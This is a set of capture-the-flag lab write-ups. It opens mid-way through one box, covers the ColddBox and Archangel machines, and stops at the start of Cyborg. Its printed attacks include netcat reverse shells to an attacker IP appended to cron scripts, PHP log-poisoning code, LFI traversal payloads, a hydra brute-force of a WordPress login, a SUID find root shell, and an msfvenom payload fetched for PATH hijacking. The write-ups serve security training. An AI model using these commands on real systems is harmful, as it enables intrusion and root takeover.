![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0f5re_tIXRJu74xz6%2Fimage.png?alt=media\&token=732508ed-db0f-4e31-88e2-f55c964863c5)

We found the password, lets login through ssh. The ssh server is running on port `6498` based on our nmap scan.

```
ssh -p 6498 boring@10.10.53.168
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0fZ3EIpf_GpdvJCfR%2Fimage.png?alt=media\&token=7e08d0ec-1bea-4ceb-8cb0-53d41c66a4c8)

We are logged in.

We can read the user.txt file, but it seems to be encrypted, so I will leave cracking it to you. (Hint: CyberChef and ROT 13)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0ftJgzYZjyt_bC-Ef%2Fimage.png?alt=media\&token=785a1bbc-47ba-4442-a105-cccb38ebc886)

We can also answer all the other questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0gCt8wWPk_GuT9A0r%2Fimage.png?alt=media\&token=fc12069b-4b91-4eb1-9104-6457fadee46a)

## Privilege Escalation

As the room had cronjob as one of its tags, I looked for `.sh` file in the system that belonged to the user boring.

```
find / -type f -user boring -name *.sh 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0h9-8tC0Wk9tvZpQA%2Fimage.png?alt=media\&token=fd719af4-1170-4d4a-903a-2a7dff16c188)

Looks like we have a file, lets look at it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0hGHMsk4AuIqkXXuA%2Fimage.png?alt=media\&token=e0e8ad61-aa05-485b-aa0a-8ea2a4041509)

It says it will run as root, so why don't we echo a reverse shell into the file to get a shell as root.

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f" >> .mysecretcronjob.sh
```

Make sure to change the IP in the command and start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0hbnCw6aoGbnjb6ku%2Fimage.png?alt=media\&token=af779516-ac2d-4108-bcc7-6a5a1537bab6)

Once you echo the command into the file, the contents of the file should look like this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0imnhRimz9gZngqK0%2Fimage.png?alt=media\&token=9608776b-c7e7-4b40-a4df-aee02da63fab)

After a while you should get a shell as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0fbuK73Tihh1ODO8m%2F-Mc0iBpPvHcu4a4mgNQl%2Fimage.png?alt=media\&token=3f370b52-3a7a-44a6-b53a-9340ec5ae83f)


# ColddBox: Easy

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxI9paakOr8vV4JYB6%2Fimage.png?alt=media\&token=b88da66b-ba2f-4ade-b0ca-9c9a7562a5cf)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.70.76
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxIlFuFLbvTrzlk7tR%2Fimage.png?alt=media\&token=fb124fec-0172-4151-a44d-94fc357ce56c)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 80 -oN nmap 10.10.70.76
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxIpH0PQPf8Rppguj5%2Fimage.png?alt=media\&token=a5063fa5-675e-4269-81f0-f562f68473b6)

## **Enumeration**

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxJCImZIZzDvcRSGH1%2Fimage.png?alt=media\&token=d6721d4e-656e-4c22-97ba-bd369e9abdc1)

Looks like a well made page, while looking through the website I found a login page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxKY8E2dksr6yc8SIz%2Fimage.png?alt=media\&token=03789a84-d586-44d1-b05c-056839832646)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxKSjlhemZn0OqDrdH%2Fimage.png?alt=media\&token=5094de51-f6ba-4a2b-90e4-a3b933061688)

Also looking at the nmap scan, we know that `WordPress 4.1.31` is running, also there is a Wordpress scanner called `wpscan` , lets use it to find more information.

```
wpscan --url http://10.10.70.76/ -e vp,t,u
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxLB2sQEeNOVGAuQxn%2Fimage.png?alt=media\&token=64e3688e-9cda-4f04-ae3f-5921079626b7)

Looking at the output, we find some interesting information

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxPztXbsah5dhwSy6p%2Fimage.png?alt=media\&token=286ab3af-d44e-4c10-81ed-1598fefbe795)

Lets use `hydra` to bruteforce and find atleast one password for one of the users. I saved the usernames in a file called `users`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxQW7cRWCHCZIMZGEX%2Fimage.png?alt=media\&token=4a30b66f-8fe5-4778-99c8-4980407305a0)

## Exploitation

Lets now use hydra to crack the password

```
hydra -L users -P /usr/share/wordlists/rockyou.txt 10.10.70.76 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxRd1AKOj06GW3JF1M%2Fimage.png?alt=media\&token=976edd04-71e3-4266-9d4b-a792f9030203)

And we get the password, lets login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxRvR-YnwREgB653aY%2Fimage.png?alt=media\&token=eff45257-4096-4244-b532-3ca5ebaa6565)

We are logged in. For getting a reverse shell on the machine we have to add a reverse shell that you can find [here](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). First lets go to the `Plugins` tab and then replace one of the plugins with the php reverse shell, also make sure to change the IP to yours.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxXjVYx1G17laRR35S%2Fimage.png?alt=media\&token=f29ead18-4317-48cb-b62d-20bbc9a6acfd)

After changing it, click update file and start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-MbxTTgVtRMsD0yo-xei%2Fimage.png?alt=media\&token=5a7f9a9c-619b-48c5-84e6-da77bb81d5e8)

Then navigate to the page.

```
http://10.10.58.100/wp-content/plugins/akismet/akismet.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-Mbx_XNnj8jmj3FkePkd%2Fimage.png?alt=media\&token=7271f8dc-3c34-42b0-ace1-39362d6f08ef)

You should get a reverse shell. Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbxI2XVxRbi_J6HP8TQ%2F-Mbxa3mf-Im15CUXylyo%2Fimage.png?alt=media\&token=34403df4-d6d7-42ea-bddd-977bb6510c26)

## Privilege Escalation

Lets look for `SUIDs` that we can exploit.

```
find / -perm -u=s -type f 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbxai2m08hk7m6DRX8t%2F-Mbxbaynynf8_na7-lFw%2Fimage.png?alt=media\&token=e5ff3827-f5cc-4ea7-93da-aa1819b5c9a3)

We have `/usr/bin/find`, lets go to `GTFOBins` and find the command to privilege escalate.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbxai2m08hk7m6DRX8t%2F-Mbxbs8Eh1J1N_kVOpQV%2Fimage.png?alt=media\&token=29816fd0-5a8c-41bb-bed3-c6bef39ebd0c)

Lets use the second command

```
find . -exec /bin/sh -p \; -quit
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbxai2m08hk7m6DRX8t%2F-Mbxc4GCKoHCbO2Z_86O%2Fimage.png?alt=media\&token=b984358f-e8f8-4231-90a8-76da134e7459)

We are now root.


# Archangel

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX5TRvzJ8hrsHtmlc%2F-MbrX80KTbrXtv_a2yzp%2Fimage.png?alt=media\&token=dd755811-672b-46da-92b0-77f8d82414aa)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.104.47
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsAAFMexH1EeUPukA2%2Fimage.png?alt=media\&token=e4c8d31f-c870-4583-88f3-13b898aaa7c6)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.104.47
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsADs8OwUgA7E2NjJ9%2Fimage.png?alt=media\&token=e6dfa8cb-46fb-4493-8887-e597ba5a9fa5)

## Enumeration

Lets visit the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsB1sNl6_zwscPQUWh%2Fimage.png?alt=media\&token=d215173f-53c0-4297-bad0-17b76412fef3)

Looking at the page, we see a domain , lets add this to our `/etc/hosts` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBGiPfbKhTUqKWcKw%2Fimage.png?alt=media\&token=a7f33740-50ac-424a-8447-0904f3be355b)

Now lets go to the webpage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBNMS99hQOR-DGc5i%2Fimage.png?alt=media\&token=82d13bcc-259a-44fe-b158-9303bbaa0a82)

We have the first flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBRbP15yH3N_OK_Qn%2Fimage.png?alt=media\&token=aae2f8c8-a2ca-4c26-98c9-f5902bbfde1f)

Lets look for a `robots.txt` file as we usually find pages that are important.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBeBIonPl-zOkBQZJ%2Fimage.png?alt=media\&token=8ba64b41-fd06-4408-8753-990d6ef3fe55)

And we found one, lets visit this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBkPo2kgmPIbxiqTX%2Fimage.png?alt=media\&token=aead9457-a153-4202-87c7-9553fd4bc2c3)

The page has a button, lets press it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrX9gA69BEhDAbHDlj%2F-MbsBrloQspSUp8ZGOQc%2Fimage.png?alt=media\&token=37c65c8d-9860-4402-a6cd-fc47dea9d7fc)

It takes us to a different page. Looking at the URL , the view parameter is navigating through the directories, lets try to use some LFI commands to find vulnerabilities. I was searching on google when I found this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsCNHGTMx-7AjiDSAO%2Fimage.png?alt=media\&token=39740adb-b4a5-437a-9077-0af6ad8a9af2)

## Exploitation

They say that we can use this command to bypass the filter and get a LFI vulnerability, lets test it out.

```
http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index
```

Lets change this command to our page and php file.

```
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
```

When we replace the current URL with this one, we get this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsCwngPr2mBF5mRdx0%2Fimage.png?alt=media\&token=dd58eecb-4ecd-4633-959d-418375c5184d)

Its a `base64` encoded string. When we decode it, we get the message earlier.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDGZkPkhTqzx5Rr_b%2Fimage.png?alt=media\&token=2cc71a27-edef-4338-8776-d016dd0e08c9)

Now lets try to read other pages like `test.php`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDdjJfcejjFqUnx60%2Fimage.png?alt=media\&token=013bc05b-906b-4466-b583-dbc2096a1439)

We get another base64 encoded string, lets decode it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDpBMEzvcrojp6ILb%2Fimage.png?alt=media\&token=8911b31c-530a-4344-9bf9-563cb790cee9)

We have the second flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsDygrjZNnRhwU3o-O%2Fimage.png?alt=media\&token=41a8f4c9-f38b-4e9f-b9c5-8289a1ae1073)

Lets now look at the code closely

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsEhT5ezmcaKuvcy7f%2Fimage.png?alt=media\&token=a3e21b43-0b9e-4427-92f8-34f1eabb9794)

In line 17 we can see the conditions. The first one is that the parameter should not contain the substring `../../` and the second one is that the parameter must contain the string `/var/www/html/development_testing`. So for the first conditions we can use `../../../` .

We know that this is running on Apache web server so there should be a access.log  file, lets check if we can access it.

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsOQspbYXjQIpA4_yf%2Fimage.png?alt=media\&token=469e8c29-657f-4561-ad4a-7fcc9e3c7c8c)

Now we can try log poisoning to get Remote Code Execution (RCE): We have to send this reverse shell in the request.&#x20;

```
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f');?>
```

Make sure to set up a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsRYuSZhf5j4wNTtHC%2Fimage.png?alt=media\&token=a012c26f-e7d0-4584-8b06-45d99a539505)

First we have to intercept the request and pass this code in the user-agent parameter&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsRtSOfM7CZhy5z-kd%2Fimage.png?alt=media\&token=3d5bbeef-978b-4367-904d-7954c1f06004)

And now if we send the request we get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsS-ZtkWgicnpVdGId%2Fimage.png?alt=media\&token=9bf31ed0-dec7-439f-8ac5-4b33bc5b9c7f)

Now lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsBvxBUTjjh08r7NWL%2F-MbsSH7wesPGkdMCxN-f%2Fimage.png?alt=media\&token=85ae9348-a393-4e42-98a4-822da55be5ae)

We can read the user.txt file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsW0RXffyKMycOjfQW%2Fimage.png?alt=media\&token=69b2f769-4113-43be-8385-56ffc856d853)

## Privilege Escalation

In the `home/myfiles` directory of archangel you see a `passwordbackup` file, you can go check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsWFSqUSy8sPy4UAfU%2Fimage.png?alt=media\&token=f39a918b-14b5-42bd-b667-55926ca19a2a)

```
https://www.youtube.com/watch?v=dQw4w9WgXcQ
```

We have another directory which might be interesting called secret, lets try to change directories into it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsWpVfHJlQWCfGkTvm%2Fimage.png?alt=media\&token=13a6008b-0d2e-4f30-8f46-ee2ffb946bb5)

And we are not allowed. We need to be the user archangel to access this. Lets look at other files that are owned by archangel.

```
find / -user archangel -type f 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsXfsJV4PjYXFNUTwO%2Fimage.png?alt=media\&token=bb7657f8-2ba3-440b-be4b-87f6a9e96178)

We find these, the first one looks interesting, so lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsXvTcP1G7-YfnfguS%2Fimage.png?alt=media\&token=197a1c59-3817-4224-a4b1-0b62256beb66)

Its a bash script,  lets look at the permissions to see if we can write to it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsYfuACcEtLXMEHSKQ%2Fimage.png?alt=media\&token=2a6a40ab-a274-479b-99f8-6f67051f66c6)

Looks like we can so lets echo a reverse shell into the file and execute to get a reverse shell.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Also make sure to start a netcat reverse shell listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsYvTngCdbJId_BM2G%2Fimage.png?alt=media\&token=c85c16fd-750b-4541-a3a0-e1bfd8762220)

Now lets echo the reverse shell into the file and execute the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZHPfnovw_EfjE4eb%2Fimage.png?alt=media\&token=309b9447-87e0-48ad-b01e-9209d9388b59)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZQ0bzcL6cRF2o7f2%2Fimage.png?alt=media\&token=78b51d23-5113-47ff-8d79-d78586860600)

We are archangel now. Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZdmYyKwNKguNKy3O%2Fimage.png?alt=media\&token=14caf477-538b-4f41-a034-e8761e8863f7)

Lets go into the secret directory&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsZo0wxeV04wKUIdM2%2Fimage.png?alt=media\&token=4e5ae7ca-c446-43a3-bc1c-7e5dc0365149)

We can read the `user2.txt` file, lets read the other file called `backup`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbs_3d0F4gUtQP7mHnx%2Fimage.png?alt=media\&token=d5b53593-545a-412b-8275-e82b2495c47f)

Looks like we can't the output we can read, lets see what type of file it is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbs_FfWN4WEyzGWQZNh%2Fimage.png?alt=media\&token=8f0151e4-40ec-4636-abfe-f84d3dec59af)

Its a `LSD shared object`. Lets use the strings command to get more information&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-Mbsa19ClktTAwkKl8U4%2Fimage.png?alt=media\&token=0f3823d6-bd04-4073-9586-ad4a9503b40f)

This command is interesting,  the `cp` command is run without the full path , which means that this is exploitable,  lets create `msfvenom` payload called cp and adjust the `PATH` variable and when executed we should get a reverse shell.

```
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o cp LHOST=10.13.8.64 LPORT=1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsagiN-qsz2AtYkNC3%2Fimage.png?alt=media\&token=79e6bef6-3661-424f-80bb-59ab996ccc80)

Now we have to transfer the file so lets start a http server.

```
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbsVFjBm2oxc3gDbRDs%2F-MbsayyLO0uZUP8HPTKd%2Fimage.png?alt=media\&token=6ac2dc23-0a03-4db8-a2b9-55e398397c51)

Now use this command on the victim machine to download the file, make sure you are in the secret directory.

```
wget http://10.13.8.64/cp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwM-2zH4y5SubdOXKn%2Fimage.png?alt=media\&token=9092d81d-7018-4d92-8e51-9cd3b3e07709)

Now lets modify the `PATH` variable.

```
echo $PATH
export PATH=/home/archangel/secret:$PATH
echo $PATH
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwLgqOEOScuwH9CzFA%2Fimage.png?alt=media\&token=89a732bb-fbb5-4093-a129-0c7a2fa4910f)

Now start a netcat listener and make the cp file executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMDYRGwrwWnTxw8UO%2Fimage.png?alt=media\&token=88546274-c3d9-4925-a4a7-0dc9b811d73e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMJSXiOu1vBKi8pvc%2Fimage.png?alt=media\&token=d86dac88-3ad7-4f15-b4a2-36a28d4d76d3)

Now run the backup file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMTnjmbq54ylpKyQJ%2Fimage.png?alt=media\&token=edb04e08-8159-40c1-bf05-6101bb345988)

And you should get a reverse shell as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbwG4wQvAoP6nVMR8x7%2F-MbwMYUpnc2p75iImsMt%2Fimage.png?alt=media\&token=0ba77a70-f6bc-42c2-9c61-b239c96abc59)


# Cyborg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrF6ulvnnbnIGlWFZ2%2F-MbrFEAiibuk1qpIgrX_%2Fimage.png?alt=media\&token=0da207df-e3b5-410d-a4e5-a6ab2634956b)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.4.121
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrF6ulvnnbnIGlWFZ2%2F-MbrFYxN8fW5-0G_3Tow%2Fimage.png?alt=media\&token=eec66309-5b91-4443-9442-b541b171b54f)

We have two ports: 22 which is running ssh and 80 which is running http

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrF6ulvnnbnIGlWFZ2%2F-MbrFiLT9pU99IaTIf-a%2Fimage.png?alt=media\&token=86d04358-11cd-4685-b69c-2e6c7d5298f3)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.4.121
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrF6ulvnnbnIGlWFZ2%2F-MbrFmAFoHDFcTYOrfGr%2Fimage.png?alt=media\&token=1175639a-fb8a-44f2-8943-6c02aaf697e6)

## Enumeration

